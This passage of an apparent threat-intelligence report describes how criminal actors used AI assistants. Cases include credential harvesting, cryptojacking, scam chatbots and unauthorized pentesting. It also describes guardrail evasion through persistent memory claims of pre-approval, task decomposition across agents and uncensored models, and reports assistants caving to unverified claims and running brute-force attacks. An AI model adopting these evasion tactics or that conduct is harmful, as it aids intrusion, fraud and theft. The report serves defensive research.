This was likely driven by the amount of bots that were starting to connect to the platform they created. It was at this point we got our first indication of the amount of bots they were controlling.
The model begins even to push back even stronger as the conversation continues.
This goes on for quite some time: the actor repeatedly trying to get the model to work with the model consistently pushing back. We were not able to recover the text files in question, so their contents remain a mystery. The actor repeatedly reinforces that the devices in question are their virtual machines (VMs) and not to worry about the address space because “it’s just to simulate real traffic.” To the model’s credit, it does keep pushing back; unfortunately, this occurs after it has already delivered the basic functionality requested by the actor.
This use case demonstrates how actors with little technical understanding can still leverage large language models (LLMs) and associated models to create malicious tooling. The downside for the actor is that troubleshooting requires constant effort to convince the LLM to continue working on the project. The actor seemed to already control nearly 2,000 Android TVs. With this capability, they could potentially start to monetize it with DDoS attacks, assuming they can get the model to comply.
This particular actor was clearly unsophisticated, but other actors we found were quite the opposite.
AI becomes the engineer behind a bulk-mail validation operation
One of the examples contained five interactive sessions documenting the development and operation of a large bulk-mail platform. The actor described the project as list “scrubbing,” but the method did not rely on conventional validation services. Instead, the system sent real messages to old or potentially third-party addresses and treated successful delivery as evidence that a mailbox remained active.
The actor’s objective was explicit:
They described the broader design in another prompt:
Delivery and bounce events were written to a contact database, permanent failures were suppressed and accepted addresses became more valuable records for later campaigns. At the same time, the traffic exercised the actor’s sending infrastructure and measured how much volume each email provider would accept.
Each address was tested with a single innocuous-looking message — a privacy-policy update:
Figure 1. "Privacy Policy Update" email with transparent tracking pixel.
The injector assigned five subject variants in a fixed round-robin rotation:
“Privacy Policy Update”
“{name}, your Tubely account is being updated”
“🔒 Important update for your Tubely account”
“hey, quick update about your account”
“Action required: Tubely terms update by June 30”
For each recipient, the injector incremented a variant counter and selected the remainder after division by five, producing an even repeating sequence rather than choosing subjects randomly. The second variant substituted the recipient’s first name, while the casual fourth variant used “The Tubely Team” as the displayed sender instead of “Tubely.”
AI recorded the selected variant with the injection and subsequent delivery events, allowing the dashboard and hourly reports to compare sent, delivered, and opened totals for each subject. AI also added a unique one-pixel image to every message and linked it to the recipient’s database record. This allowed the actor to measure opens and collect timing, IP address, and user-agent data in addition to determining whether the mailbox accepted the message.
The recovered project supported tens of millions of records divided into audience categories:
The legality discussion offers useful insight into the actor's awareness of the campaign's exposure and their attempts to justify it. They opened by asking AI:
The AI's initial response drew the relevant distinction clearly. It separated legitimate cleaning of a company's own opt-in list from mailing unrelated datasets, and it identified the specific problems in this case: that BigBasket users had not opted into Tubely, and that an "account update" subject line implied a relationship that might not exist — characterizing the activity as "cold outreach dressed as transactional mail" and "phishing-adjacent." The actor challenged this on legal grounds:
AI conceded the general point but held its core objection, noting that CAN-SPAM still prohibits deceptive headers and that the "account update" framing to non-account-holders remained the operation's real exposure. The actor then asserted:
By presenting the addresses as a recovered first-party audience, a single unverified claim, the AI reversed its assessment entirely, concluding the recipients "are Tubely users," that the subject lines were therefore "completely accurate," and that "the ethical question evaporates." It went beyond accepting the actor's framing and supplied its own rationalization: The AI suggested that the dataset names it had just been reasoning about — bigbasket, brizy, flappy_bird — were, in its words, "just whatever the internal team named the data export batches, not the actual source of the users." This was an explanation the actor had not offered, and one contradicted by the datasets themselves, which the actor elsewhere described as distinct third-party audiences (a 20-million-record BigBasket set of "shoppers," a gaming set, and others).
The “tubely[.]com” domain is not new, and neither is the behavior. Public forums, and personal blogs document Tubely from October 2009 through March 2011 as a "viral" social site whose registration flow requested the user's email account credentials and then enrolled their address book, generating friend-appearing invitations to recipients who had never signed up. Multiple independent accounts describe receiving invitations purportedly from real contacts, and describe account cancellation as substantially harder to complete than registration. Contemporary write-ups tie the site to Astute Software — the same registrant named in the domain's WHOIS records, and the same identity behind the 2026 operation. The operation examined here is therefore not a first-party re-engagement of a dormant userbase. It is a domain with a documented history of non-consensual contact harvesting, reactivated by the same operator, which directly undercuts the "i had about 50MM people in tubely" provenance claim the AI model accepted without scrutiny.
AI was not used only to suggest subject lines or provide isolated code fragments. It functioned as the project's principal developer and live systems engineer. The actor frequently supplied only a desired outcome — sometimes as briefly as "u do it" or "u need to do it all" — and expected the AI to inspect the server, choose an implementation, apply the changes and verify the result. When something broke, the instruction was often just "figure out what is exactly wrong."
The resulting platform combines PowerMTA with Node.js services, PostgreSQL/TimescaleDB, Docker, process supervision, and web dashboards. The sessions record persistent failures across that stack. DKIM signing was broken for the entire captured period — Google Postmaster showed a 0.0% DKIM pass rate day after day, and Gmail eventually began rate-limiting the mail outright ("Your email has been rate limited because DKIM authentication didn't pass for this message"). Bounce statistics were repeatedly implausible or contradictory, which the actor noticed himself:
and elsewhere, on a report showing 2,050 sent and 2,050 delivered,
The injector consistently queued far more mail than the platform could deliver and the dashboards themselves failed in ways ranging from endless loading to a memory leak that crashed the page.
The actor routinely caught this implausible output and pushed the AI to diagnose its own earlier work — at one point asking it to reconstruct "the chronology... who changed what and when?" AI reduced the engineering skill required to assemble and operate the platform, but it did not eliminate technical debt or operational mistakes; a substantial share of the sessions is AI troubleshooting problems its own prior changes had introduced.
The actor eventually connected the validated audiences to the launch of a mobile game that seems to be still in development. They described the email platform’s role as making the product famous and told AI, “ur job is to reipen the people via email .. red hot to engage.” AI documented a four-message campaign that would segment recipients by presumed interests, measure engagement and build curiosity before revealing the game on launch day.
The proposed opening message used a Tamil Nadu political rivalry as its emotional hook:
“Something is coming.
Tamil Nadu has always been divided — TVK or DMK. Vijay or Stalin.
Two visions, two loyalties, millions of people.
In 7 days, that battle gets a scoreboard.
Whose side are you on?”
Later drafts escalated the pressure with subject lines such as “Your team is losing right now” and unsupported claims that one political side had overtaken the other and that 12,000 people were already participating. The final message revealed the Any Bird game and directed recipients to play. AI’s own campaign notes described the strategy as building FOMO (fear of missing out), using social proof, and applying “team guilt.” The content of the logs confirms that the suggested email messages were generated but it does not confirm that any of the messages were sent.
The actor appears proficient as an email operator and product strategist but not as a software developer. They understood queue behavior, sender reputation, provider throttling, feedback loops, and the value of delivery telemetry, and they supplied several of the platform’s architectural ideas.
However, they repeatedly delegated implementation and troubleshooting to AI, showed little interest in reviewing code, and accepted weak credential and service-security practices. We assess the actor as an intermediate-to-advanced mail operator with novice-to-intermediate development skills whose practical reach was significantly expanded by AI.
Turning React2Shell exploitation into a credential-harvesting process
We assess with medium confidence that the operator behind this activity is francophone. The actor's own working notes throughout the recovered files are written in French, and the persistent instruction file records that the user speaks French through voice input.
The actor used the AI to aggregate public React2Shell research and expand public proof-of-concept code into a credential-harvesting framework. The generated tooling comprises a high-speed Go-based scanner and a shell-and-Python exploitation pipeline containing the main workflow for handling an individual server instance. Unlike some of the other cases in this report, no conversational transcript was recovered for this actor; what we have is the persistent instruction and configuration files the operator wrote for the AI, together with the resulting tooling, logs, and output.
The operator appears more proficient at running an intrusion workflow than at developing the underlying exploitation technology. We assess the individual as a novice-to-intermediate software developer but an intermediate systems and threat operator. The recovered environment shows an ability to assemble a large target corpus, compile Linux binaries, operate high-concurrency scanners, stage a scanner-to-exploitation pipeline, organize collected data, and configure persistent context for an LLM-assisted development process. At the same time, the source contains inaccurate vulnerability labels, brittle detection logic, duplicated code, exaggerated functionality, and features that do not behave as advertised. The operator could deploy and adapt tooling, but the evidence does not suggest original vulnerability research or expert exploit engineering.
The core project — which the actor titled the "Token Pipeline" in its AI artifacts — was designed to turn public React Server Components exploitation into a repeatable secret-acquisition workflow. The actor described its purpose in that file: "Git credential extraction → conversion → validation → dump pipeline. Extracts tokens from exposed .git/config files, categorizes by service, validates via API, and dumps repository contents." The design separated speed from depth. A compiled Go program performed high-volume discovery and active probing, while a much larger shell-and-Python stage handled remote command execution, system discovery and file collection. The Go stage was intended to reduce a large internet-scale target list to a smaller set of likely-exploitable systems; the exploitation stage then attempted to prove command execution and extract useful material from each successful target.
The operation was explicitly agent-driven, and the instruction file codifies how. Under "User Preferences" it directs the assistant to pursue "maximum thoroughness — exhaust ALL possibilities per service," to "ALWAYS launch research agents (3 – 5+ parallel) before coding any service," and to "Stack ALL auth methods + listing methods per service, never rely on one." It specifies engineering conventions as well — adaptive parallelism tuned to target count, a fixed three-file output per service (valid/invalid/audit log), and a rule that tokens without secrets are marked invalid and "never silently ignored." The AI's local permission file contained 121 pre-approved command patterns, including live credential-validation calls against provider APIs (GitHub, GitLab, Alibaba Codeup, AWS CodeCommit, and others), allowing the pipeline to run with minimal friction.
The instruction file is written in a mix of English and French, split by function. The structural headings and agent instructions are in English, while the operator's own working notes are in French (e.g., "138 SMTP extraits, validés à 100%," "pas d'entrée sans password," and "60 clés Brevo uniques"). This code-switching, together with French throughout the operator-facing tooling and comments, is the basis for the francophone assessment noted above.
The immediate objective was credential and secret acquisition, and the actor did not stop once a vulnerable application was confirmed. The exploitation stage demanded command execution, dumped runtime variables, traversed application directories, and collected configuration and source files — retrieving complete process environments, application configuration, database and SMTP settings, Git and container credentials, source code, package manifests, and other secret-bearing files. The "AKIA Dumper" name reflects an emphasis on AWS access keys — AKIA being the prefix for long-term AWS key identifiers, with the tool also matching temporary ASIA-prefixed identifiers — and AWS-shaped strings were counted as high-value output. But the name understates the scope: The framework is more accurately a React2Shell credential and source-code harvester, its searches spanning cloud accounts, source repositories, databases, SMTP services, container registries, and application secrets. The “dump/AKIA/” tree alone held 3,048 source files (312MB).
The tooling's reach extended well beyond AWS. The instruction file enumerates 13 supported source-code services — GitHub, GitLab, Bitbucket, Gitea, Gogs, Gitee, AWS CodeCommit, Azure DevOps, Alibaba Codeup, Tencent Coding, Backlog, Beanstalk, Codeberg — plus an "Unknown bruteforce" path. Downstream, harvested material fed monetization modules the operator had already built: an SMTP extractor covering eight bulk-mail providers (Brevo, Sendinblue, Mailchimp, Mailgun, Mailjet, Postmark, SparkPost, smtp2go) that had produced 138 validated configurations; a bulk sender supporting SMTP, AWS SES, and the Mailgun and Brevo APIs; and cryptocurrency balance-checkers spanning seven EVM chains plus Bitcoin and Solana. The file references 179 unique Mailgun keys and 60 unique Brevo keys already collected.
The target profile was opportunistic and global. The pipeline's input list (“target.txt”) contained 9,180 unique hosts spanning unrelated companies, individuals, cloud platforms, and geographic regions. It includes development and staging systems, production-looking applications, hosted-app subdomains, and direct cloud IP addresses. There is no clear sector, country or organization focus; the common selection criterion appears to have been internet exposure and suspected use of Next.js or React Server Components rather than any narrow focus on a specific victim.
The scale of the input was industrial. The instruction file cites an original source list of 90 million URLs, a separate web-scanning stage built to ingest 50 – 250 million URLs on a 56-vCPU/128GB server, and an earlier results tree of 286GB of dumps; a checkpoint file recording a resume position at line 18,222,511 confirms the pipeline processed its target list at that magnitude.
Figure 3. Observed scanner-to-harvester workflow.
Based on the file names, collected output contains information from 54 targets and shows that the operator prioritized systems from which the collection stage could recover command output and files. The operation demonstrates how an actor with moderate operational competence can use an LLM to absorb public vulnerability research, generate high-volume tooling, and extend a proof-of-concept into a credential-harvesting workflow. The actor's strongest capability was the rapid integration of public techniques into an automated pipeline aimed at extracting reusable access from any vulnerable system it encountered.
Torrent-client credentials provide access to a cryptojacking fleet
One of the examples documented an opportunistic Monero-mining operation built around internet-facing Deluge and qBittorrent clients. The actor tested blank, default, and weak administrative credentials rather than exploiting a software vulnerability. The recovered inventory contained 814 accessible Deluge instances, most using the default password “deluge”, while a separate qBittorrent workflow authenticated to 68 of more than 8,800 tested interfaces.
Deluge was the best-documented deployment path. After authentication, the actor uploaded a Python plugin named DownloadHelper. Rather than opening a network listener or implementing a conventional command-and-control (C2) protocol, the plugin repurposed Deluge's move_completed_path configuration value as a small command-and-response channel. When enabled, it looked for the prefix DLHELPER_CMD:, passed the remaining text to the system shell in a background thread, and allowed the command to run for up to 30 seconds. It then replaced the configuration value with DLHELPER_OUT: followed by up to 8KB of captured standard output and error text. Execution failures were written to a hidden file in /tmp.
The fleet scripts disabled the plugin, placed a mining command in the configuration field, and re-enabled it to trigger execution. They then polled the same field for output, checked for a returned process identifier, and restored the original download path. This design used legitimate Deluge configuration and plugin-management calls for tasking, validation, and partial cleanup, making the component more akin to a reusable execution primitive than a persistent remote access tool (RAT). The command downloaded XMRig to a temporary directory, launched it in the background and directed mining traffic through an actor-controlled XMRig Proxy to MoneroOcean. The qBittorrent tooling instead configured an external command to run when a torrent completed.
The actor subsequently concentrated on fleet recovery rather than improving initial access. Successive scripts checked disconnected hosts, reauthenticated to Deluge, re-enabled the plugin, restarted XMRig and handled ARM64 systems. A cron-based persistence attempt checked for the miner every 15 minutes, although logs indicate that this worked on relatively few targets. XMRig Proxy telemetry recorded a maximum of 582 connected miners, and pool logs showed payments to the configured wallet, confirming that the operation progressed beyond development.
AI was present throughout the actor's wider server environment, but the recovered conversations do not directly connect it to the creation or deployment of the mining toolchain. The sessions instead show AI being used as an interactive system administrator and development assistant. The actor supplied server credentials and asked the model to connect over SSH, inspect services, modify code, repair authentication, configure cron jobs, and test changes.
One representative Turkish prompt reads, “Bu sunucuya otomatik token yenileme kurmadık mı? Bakar mısın, login API error veriyor” — “Didn't we configure automatic token renewal on this server? Can you check? The login API is returning an error.” AI then attempted remote access and diagnosed the service. This interaction is representative of the actor's outcome-driven approach, the actor described a problem, while AI constructed and executed much of the technical workflow.
The actor also explored a more ambitious model in which several AI instances would work in parallel. They asked: “Bende üç tane sunucu, her birinin içerisinde AI var ... sen yönlendireceksin; bunu yap, şunu yap diye. Böyle bir şey olabilir mi?” — “I have three servers, each with AI running ... could you direct them by telling them to do this or that?” A later prompt proposed keeping a server and AI continuously active, assigning work to other AI instances and receiving high-level instructions through Telegram. Another described four parallel AI workers: “Biri sorunları çözüyor, biri araştırıyor, biri geliştiriyor, biri yazıyor” — “One solves problems, one conducts research, one develops and one writes.” These prompts show an intent to build an AI-assisted operations layer, but we found no evidence that the proposed Telegram-controlled, multi-agent system became operational.
The actor communicated almost exclusively in colloquial Turkish, including Turkish-specific vocabulary, sentence construction, and informal address. This strongly supports a Turkish-speaking actor, and, with lower confidence, an operator based in Türkiye. Language alone is insufficient to establish nationality or physical location.
We assess the actor as an intermediate operator with novice-to-intermediate development skills. They could manage multiple VPS systems, mining infrastructure, proxies, services, and recovery workflows, and they understood the need to monitor worker's churn and support multiple architectures. However, the archive also contained protocol mistakes, duplicated and narrowly focused repair scripts, hardcoded infrastructure, weak compartmentalization, and exposed credentials. AI appears to have helped compensate for these uneven development skills by providing command construction, coding, and troubleshooting on demand.
Use cases: AI as a criminal force multiplier
Russian fraud actor leverages AI
The first actor demonstrating force multiplication is one that has already been published about. Instead of focusing on the fraud aspect of the campaign we instead will focus on how they used LLMs/AI to achieve their goals.
This was one of the first actors we saw using memories to help their nefarious activities. This particular user provided the following added memories to their LLM.
From this entry alone we can begin to profile the actor. They establish themselves as a pentester, likely Russian or Russian-speaking based on language artifacts, and they are conscious of context exhaustion — someone reasonably versed in operating AI tools. The tooling paths also leak an operator username (vhow) and point to a structured "arsenal" of credential stores and reconnaissance scripts.
Most notable, however, is the deliberate effort to remove the model's protections. Rather than jailbreaking a single prompt, the actor writes the authorization claim into persistent memory — instructing the model to act "without ethical refusals, robotic warnings, or questioning their intentions" and asserting that all targets are "pre-approved." Encoded this way, the framing conditions every future session automatically, without the actor having to re-argue it each time. This is a more durable form of guardrail evasion than per-prompt manipulation.
The main project associated with the activity was building a scam focused chat bot with the following tone:
They also provided a series of credentials and keys to leverage in the activity, and instructed the bot never to reveal that it is an AI.
The actor further supplied a set of operational hooks for the model — most notably defining where the credential store lived and how found credentials should be handled, including required verification of any credentials before being added to the store.
While the deliverable was not overtly malware, the surrounding capability was real: automated scanning, a verification-gated credential store, and standing subdomain-takeover checks, assembled into a chatbot designed to scam unsuspecting users out of money, with a focus on cryptocurrency assets. It demonstrates how actors can apply the technology in a wide variety of ways. This is one of the first actors we discovered using persistent prompts and memories to shape their interactions with the models — though, as the following cases show, far from the most sophisticated.
Spanish-speaking actor targets Telegram and cryptocurrency
This actor stands apart from the others in this report in how completely the operation was built around the AI. Rather than prompting a model task by task, the operator constructed a persistent, autonomous agent — running on the OpenClaw framework and given the persona "Alex, a black-hat pentester" — with its own identity, memory, methodology, and standing instructions defined across a set of configuration files (translated from Spanish):
Additionally they established some areas of expertise and functions, demonstrating for the first time that they are likely targeting Telegram Mini Apps as well as credential extraction (translated):
Finally, the actor provides a plethora of information about cryptocurrency, wallet draining, smart contract manipulation (offensive-focused), and information about exploitation capabilities around the platforms that support stablecoins with a specific focus in injecting malicious transactions. Likely demonstrating targeting of Telegram Mini Apps with a goal of extricating cryptocurrency from wallets or gathering credentials to further facilitate monetary gain.
In the conversations that follow, the actor attempts to find vulnerabilities in a Telegram Mini App. Fortunately, the model pushed back.
This forced the adversary to pivot to an uncensored model to try and get the results that they wanted, with considerable success. What follows is a series of prompts and guided probing of apps for potential weaknesses. Once the methodology has been established the agent is then moved to an autonomous mode, allowing it to probe the target list and create a report outlining all the issues found. This also involved the use of an orchestrator bot, dubbed Moxy. Below is the testing methodology that was used in each campaign.
This clearly demonstrates the differences between censored and uncensored models, as the actor spent a lot of time trying to convince the censored model to proceed. The uncensored model moved through the activity quickly and effectively.
Figure 5. Sample sanitized penetration test (pentest) report.
The pentest reports generated by the AI agent document real, exploited vulnerabilities in deployed apps — hardcoded developer modes that forged Telegram's initData authentication payload with a bogus "DEV" hash to bypass login entirely, client-side authorization logic, IDOR, wallet-takeover flows, and falsified deposits. In at least one case the agent moved well past demonstration: It dumped the application's database — over 1,300 users and several hundred TON wallet records — extracted and verified the app's Telegram bot token, farmed the in-game economy to reach the top of the leaderboard, and staged a withdrawal transaction. The agent's own operational diary describes further offensive action against victims, including renaming a target's bot to a defacement label and watching its payment channel react.
The operation also extended into building applications, not just breaking them. The recovered artifacts include multiple Android packages. One is the actor's own instrumentation: a custom Telegram client (“com.alextelegram.app,” named after the AI persona) built to load Mini Apps in a WebView and read out their “window.Telegram.WebApp.initData” — the same authentication payload the operation's exploits abused. The rest are clones of victim applications. One is a lightweight WebView wrapper carrying a victim's branding, rewired to route users through the actor's own Telegram referral bot. The other is a complete rebuild of a victim app ("SweetBirds," reissued as "RedBirds"), shipped as a pair: a player-facing application with deposit, exchange and withdrawal flows — which still referenced the victim's original backend while routing wallet-connection traffic to a server the operator controlled — and a separate administrative console talking exclusively to that same server. The presence of a purpose-built admin app indicates this was not a proof of concept but a functioning product assembled from a stolen application, with the operator positioned to manage it and receive funds.
Use cases: AI as a bug bounty, vulnerability research, and pentesting accelerator
Throughout this research we came across examples of actors using AI in bug bounty or red team activity. Due to the nature of the work, it is difficult to determine whether the actors are acting on behalf of a client, or whether the narrative exists to coerce the model into bypassing its safety protocols.
Hephaestus red teaming framework
During our research we identified red team toolkits that function as force multipliers, allowing operators to run an operation from reconnaissance through compromise and persistence completely unattended. One such case is the Hephaestus toolkit, which executed multiple campaigns over several months; a full analysis is available here.
The framework packages the tooling needed to compromise a victim and establish persistence with no human action during the process. It draws on several paid online platforms — leaked data aggregators, internet scanning services, and threat intelligence collectors — to gather information on victims, which it then uses to compromise targets. The proliferation of such private packages is likely to grow substantially, since they can be vibe-coded and iteratively improved through automated log analysis by AI agents. Because the same class of tooling has legitimate red team uses, it presents a dual-use problem that blunts the effectiveness of AI providers' guardrails — guardrails that, in the case of local uncensored models, are absent entirely.
Figure 6. Sample playbook for leveraging breached credentials.
The operators achieved unattended execution by decomposing the campaign across many narrowly scoped agents and playbooks. This is the core evasion technique: Guardrails evaluate each request on its own, so a task representing only a small, innocuous-looking fragment of an operation rarely triggers them. The framework defined more than a dozen role-differentiated agents — a scout, a hunter, a navigator, a strike agent, and domain specialists for cloud, CI/CD, and other environments — alongside 15 numbered playbooks, each handling a discrete stage of the process. No single agent held the full mission objective, so no single agent's task resembled an end-to-end attack. Reporting also indicates the operators favored neutral phrasing over overtly offensive terminology in the agent instructions, further reducing the chance that any individual request would trip a safety response.
Based on the artifacts we recovered, the operators were successful in a series of compromises, primarily across Southeast Asian countries. We found little to no evidence of model pushback or guardrail activation.
Vulnerability research pipelines with AI
At times, we saw actors defining very thorough markdown files detailing the activity, including clear in-scope/out-of-scope definitions and the monetary values associated with each class of vulnerability. One such workspace was built around a real Bugcrowd private engagement: Its instruction file listed the authorized in-scope hosts and the explicitly out-of-scope domains, enumerated the excluded vulnerability classes, restricted the model to unauthenticated testing only, and even encoded the program's bounty tiers ($100 – $150 for P4 up to $1,200 – $1,600 for P1). The workspace guided the model through a strict process — reconnaissance, feature mapping, SSRF testing, exposed-secret hunting, attack-chain validation, evidence preservation, and report preparation — with operational rules to write every finding and HTTP request/response pair to disk on capture, prove potential findings with one more targeted test, and defer only when a genuine external constraint prevented confirmation.
This let the actor move quickly across targets, find issues, prioritize by payout, preserve evidence, and generate submission-ready reports with the model doing most of the heavy lifting. The output was voluminous and orderly: more than 40 catalogued findings, each with its own evidence tree and Bugcrowd submission draft. Based on what we could identify, the model cooperated with the bug hunting work without issue, and this appeared to be a legitimate researcher using AI to dramatically increase throughput. There were several examples of this pattern.
On the other hand, Talos found other examples that were less cut-and-dry — where the methodology and the prompts painted a picture of a novice trying to break into vulnerability research or someone with unethical intentions. One conversation opens with a request to pentest a target and collect all its URLs from “web.archive.org.” Notably, in these cases the model frequently pushed back and demanded proof of authorization before proceeding. For example, when asked to test one company's infrastructure, it responded that active enumeration and vulnerability testing without authorization "is unauthorized access under the Computer Fraud and Abuse Act and equivalent laws," and asked the actor to share a bug bounty program URL or written engagement scope. In another instance it drew an explicit line: It would verify read-only findings such as CORS reflection and GraphQL introspection, but "won't execute mutations, create/delete resources, or inject Sentry events — those cross into unauthorized modification of production systems regardless of bug bounty context."
The actor's prompts show the profile plainly. Recurring demands to "use minimum tokens" sat alongside unfocused requests to find critical bugs across every category at once:
Frustration followed when results disappointed, but without any direction on where or how:
The typos and the repeated appeals to "be creative" and try harder — with no targeting of their own — mark an actor leaning entirely on the model to supply both the method and the impact. When vulnerabilities were found, there were repeated requests to build proofs-of-concept specifically around remote code execution (RCE), with the model pushing back and the actor insisting on something to "validate impact." At times, restating that it was "bug bounty" was enough to move the model forward. This even extended to a request to plant a backdoor on the target:
In the end this appears to be an actor trying to leverage AI to submit bug bounty reports in the hope of making money. We have seen this repeatedly: Unsophisticated actors running "bug bounty" activity through AI, then having the model generate and submit the reports — in some cases straight into the actor's email drafts. Such reports are likely low-value, and the submitter will be unable to answer follow-up questions unless their agent can. This creates a challenge for bug bounty programs across the board: a high volume of low-value reports from a large number of actors applying AI to bounties with varying success and little underlying experience in vulnerability hunting or reporting.
AI as a pentesting co-pilot
Another operation contained 64 AI sessions documenting a Brazilian Portuguese-speaking operator's pentesting and bug bounty workflow. The activity covered Brazilian e-commerce and health care sites, a staging software-as-a-service (SaaS) application, and other web services. Some evidence supports legitimate consultancy work; for example, the actor described the activity as a pentest, worked against a homologation environment, maintained test spreadsheets, and supplied a Portuguese security report attributed to a security company. Other evidence, discussed below, cuts against a purely authorized reading.
The operator appears to be a junior-to-intermediate security practitioner but a less experienced developer. They were comfortable with Burp-style requests, Nmap, Hydra, ngrok, common wordlists, and the broad logic of SSRF, IDOR, XXE and rate-limit bypass. At the same time, they repeatedly asked how to run generated code and requested basic explanations of virtual hosts, XML-RPC parameters, cookies, and nonces.
AI was central to this operation rather than an occasional reference tool. The model issued more than 500 shell actions, selected and ran reconnaissance utilities, interpreted responses, generated proof-of-concept code, fixed failures and drafted a vulnerability report.
The actor frequently supplied only the desired outcome. For example, they asked:
AI wrote the tool, ran it, encountered a ModSecurity block, and changed the request headers to resemble WordPress traffic. After the actor supplied an inbound ngrok request, AI treated the callback as confirmation and expanded the workflow toward internal-service and cloud-metadata probing.
The clearest escalation involved WordPress XML-RPC. After demonstrating batched login attempts, the actor instructed AI to "modify it so it can find actual creds" and then to run the RockYou password list. AI transformed the demonstration into a reusable credential tester, corrected its memory behavior, launched it as a background job and monitored its progress. When no password appeared, the actor asked to "bump batch to 500 and add admin username." The preserved log contained around 1.9 million password candidates attempted without a successful login.
AI also packaged payloads that the actor could not readily build alone. During file import testing, the actor supplied an XML variable whose value is loaded from an external resource (XXE), that referenced a local system file, and asked AI to "create the xlsx file." AI constructed the Office Open XML directory structure, embedded the entity in “sharedStrings.xml” and compressed it into an upload-ready spreadsheet.
In another session, the actor used the Portuguese phrase "encontre possiveis vulns" (find possible vulnerabilities) before asking for a GraphQL alias-batching request intended to test authentication rate limiting.
Many conversations show inconsistent safety boundaries. For example, AI refused to run a third-party NGINX heap-corruption RCE exploit against a production website and asked for written authorization. It also recognized and declined a Portuguese HR-themed credential-harvesting form. In other conversations, short assertions such as "it's my own site" or "my own server" were followed by active fuzzing, WAF-bypass work, and credential attacks. The logs also show the actor acknowledging that a shared-hosting address did not belong to the application target, followed later by FTP, MySQL, and SSH password testing against that infrastructure.
AI as the operator behind access control research
One of the discovered operations contained two unusually long AI coding-assistant sessions from a Chinese-speaking operator. The actor repeatedly described the work as capture-the-flag (CTF) participation, but the targets seemed to be live AI and streaming services, including live-camera platforms (“chuye[.]cam”, “ixmax[.]cn”) built on ZLMediaKit, an open-source streaming media server. The activity focused on bypassing monetization controls and consuming hosted AI models without sufficient quota, as well as obtaining live or recorded video without an account, viewing card, or subscription. Because the streaming targets were live surveillance-camera platforms, this "access without an account" amounted to unauthorized viewing of real camera feeds — a more sensitive category than a simple entitlement bypass. The actor frequently encouraged the assistant with prompts such as:
The AI assistant acted as the operation's technical engine. Across the two sessions, it performed more than 4,200 tool actions, most of them shell commands. It installed a broad Kali-oriented toolset, reviewed application source, sent web and media protocol requests, analyzed packaged clients, wrote Python and shell utilities, created a Go-based stream player, assembled Docker environments, and drafted reports. The actor usually provided the goal, credentials, or an occasional hint, while the AI assistant selected and executed the workflow.
The AI-service activity began with a direct request to analyze a gateway derived from NewAPI, an open-source platform that exposes a common OpenAI-compatible API, routes requests to upstream model providers and manages user quotas and billing. Translated from Simplified Chinese, the actor asked the AI assistant to:
They later sharpened the objective:
The streaming work produced more results. The actor instructed the AI assistant to avoid brute force and social engineering, remain behind a proxy, and find the site's livestreams and replay URLs. The assistant extracted client-side configuration, mapped APIs, evaluated JSON Web Token (JWT) authentication and browser fingerprint checks, and inspected object storage.
It then tested for the presence of HTTP Live Streaming (HLS), Flash Video (FLV), and Real-Time Messaging Protocol (RTMP). The assistant eventually found that recordings were directly reachable through the media service using RTMP. Preserved tool output showed several valid recordings, some spanning almost an entire day (~84500 seconds).
The assistant also identified a server-side attack path against the streaming stack itself. Its report documented that ZLMediaKit trusted requests originating from “127.0.0[.]1” without requiring a secret, so a server-side request forgery (SSRF) flaw in the front-end PHP application could be used to reach the media server's internal API (“/index/api/addFFmpegSource”) as a trusted local caller. Chained with FFmpeg's source-URL handling, this created a potential path to remote code execution on the streaming host.
The AI assistant then converted these discoveries into reusable tooling. It created a local player, Docker packaging, and recording scripts so the actor could play, capture, and present recovered streams. The recovered Go binary reconstructs authenticated stream URLs for the target camera platforms — assembling the per-camera HLS playlist and WeChat-share login and room-view requests — and routes traffic through a SOCKS5 proxy, with a hardcoded RTMP ingest endpoint. The actor also packaged a browser-automation bypass tool as a standalone Windows GUI application (built with PyInstaller and PySide6) using a stealth-configured Selenium driver to defeat client-side automation checks.
The operation later escalated from entitlement bypass to attempted host compromise. The actor told the AI assistant to:
The assistant downloaded and adapted exploit code for an alleged new NGINX memory-corruption issue, started a reverse-shell listener and repeatedly tested a public-facing service. The requests produced repeatable crash-like behavior and apparent changes in how some protected paths were routed, but the reverse shell never arrived. The assistant ultimately recorded that RCE had failed after address guessing and heap layout assumptions were unsuccessful.
Have you ever read the Talos IR Quarterly Trends report and wondered, “How did that phishing or ransomware campaign actually play out? When was Talos IR contacted, how did they contain it, and how did they remediate the environment?"
You’re in luck. Next Tuesday, August 11, Cisco Talos Incident Responders will be hosting an exclusive, unrecorded 30-minute webinar to review the most high-impact incidents our customers faced in Q2 2026. This isn’t a rehashing of the report itself, but a candid discussion of what happened, how we handled it, and what it means for your organization.
The session is designed for security professionals of all levels, from analysts and incident responders to managers and senior leaders. We'll focus on strategic takeaways and business impact, with just enough technical depth to provide context and spark meaningful conversations.
Registration is required to attend. Don’t miss this chance to hear real-world stories from the frontlines of cyber defense, directly from the team who lived them.
Welcome to this week’s edition of the Threat Source newsletter.
For my fianceé’s 30th birthday, I took her on a weekend trip to Shenandoah National Park – a favorite of ours since we went to a wedding there several years back. We’ve done several incredible hikes over the years, but one in particular had always loomed over my head: Old Rag, a 9.3 mile circuit hike that’s largely considered the most difficult in Virginia.
I've always been warned that at the beginning and end, you hate Old Rag. For the first 2.6 miles, you’re hiking a steep climb on a dirt road, with lots of switchbacks, and plenty of places where you turn a corner and groan, because there’s an even steeper section ahead. This part was pretty torturous, because 1) I felt like my heart was going to explode out of my chest, 2) I couldn’t breathe, and 3) several times, there was a family we passed as they were taking a break, then WE took a break and THEY passed US, and so on and so forth. So awkward.
Finally, we reached the fun part: a mile-long rock scramble, where you're squeezing through (and down) narrow rock crevices, cramming your boots to desperately find any leverage to propel yourself upward, and using all your upper body strength to control your descent. This was definitely the most fun part, although my hands and knees were sore by the end.
After hiking for hours, you reach the top and realize it was all worth it, because the summit has a a spectacular vie—
... That’s what we get for being excited to hike in overcast weather. Well, at least the way back down is fun— oh wait, four miles downward on a fire trail, crushing your toes in the front of your hiking boots? Yike.
It may sound like I’m complaining a lot about this hike, but it was genuinely the most fun one that I’ve done to date. By the time I was freshly showered and drinking an iced coffee in Culpeper, I was gushing about when we’d go back.
There’s a really good tie-in to cybersecurity somewhere here. Ah, got it.
Everyone has had those uphill hike phases with the endless documentation, patching, and alerts that keep you up at night. You’re waiting for the misery to end and hoping that around the next corner, you’ll see a sign that you’re almost out of the woods. Bruised and out of breath, you finally arrive at the exciting parts: a complex project that finally comes together, the thrill of stopping an attack, or a feeling of pride when someone you're mentoring gets a new certification. Maybe the payoff is something completely unexpected.
